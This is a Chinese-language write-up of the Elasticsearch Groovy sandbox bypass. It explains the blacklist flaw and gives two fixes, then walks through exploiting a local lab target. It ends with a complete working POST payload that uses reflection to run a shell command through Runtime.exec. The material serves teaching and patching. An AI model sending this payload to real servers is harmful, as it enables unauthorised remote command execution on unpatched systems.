Elasticsearch任意文件读取漏洞
1.漏洞描述:
Elasticsearch由于代码过滤不严,导致在特定目录下会造成任意文件读取,如:http://localhost:9200 (需要借助工具才能进行访问,直接复制到浏览器访问无效。).漏洞原因是elasticsearch使用groovy作为脚本语言,虽然加入了沙盒进行控制,危险的代码会被拦截,但是由于沙盒限制的不严格,通过黑白名单来判断,导致可以绕过,实现远程代码执行。
2.漏洞分析:
产生漏洞代码在实现沙盒的类是 com.elasticsearch.script.groovy.GroovySandboxExpression-Checker ,它订制了 Groovy 的沙盒,对表达式进行了安全检测,但是这个沙盒与 Java 的 SecurityManager 那种沙盒是不同的,从代码中可以看到这个沙盒,只是根据黑白名单,在表达式语义上判断表达式是否合法的,可以说是一个“浅”沙盒。并且在黑名单中允许构造对象和方法调用的类,都是一些常规类,如果我们想要利用反射去调用我们想调用的类,方法黑名单中又限制了 getClass 的调用,我们无法通过 getClass 方法获取 Class 对象,但是我们可以看到方法白名单中,并没有对 forName 方法进行限制,也就是说,如果我们能获取到 Class 对象,再调用 forName 方法就可以获取到我们想访问的类。
3.漏洞修复:
方法一:从官方获取Elasticsearch最新版本,更新至1.5.2版本或以上。
方法二:在 ElasticSearch 文件下 /config/elasticsearch.yml 中加入:script.groovy.sandbox.enabled: false
在本地搭建了漏洞靶场:
1.目标主机地址为10.4.0.4
nmap扫描结果如下:
root.jpg
2.访问目标网站80端口:
home.png
3.扫描web漏洞扫描工具进行漏洞扫描,没找到什么有用的漏洞。~~瞬间移动 将目标转向9200端口;浏览器访问结果如图: res.png
4.1. 针对9200端口,开始漏洞利用,使用Burp抓包提交下面poc内容,结果如图:
ress.jpg
访问:
post :
{
"size":1,
"script_fields":{
"secpulse":{
"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"ls /var/www/html/\").getInputStream())).readLines()",
"lang":"groovy"
}
}
}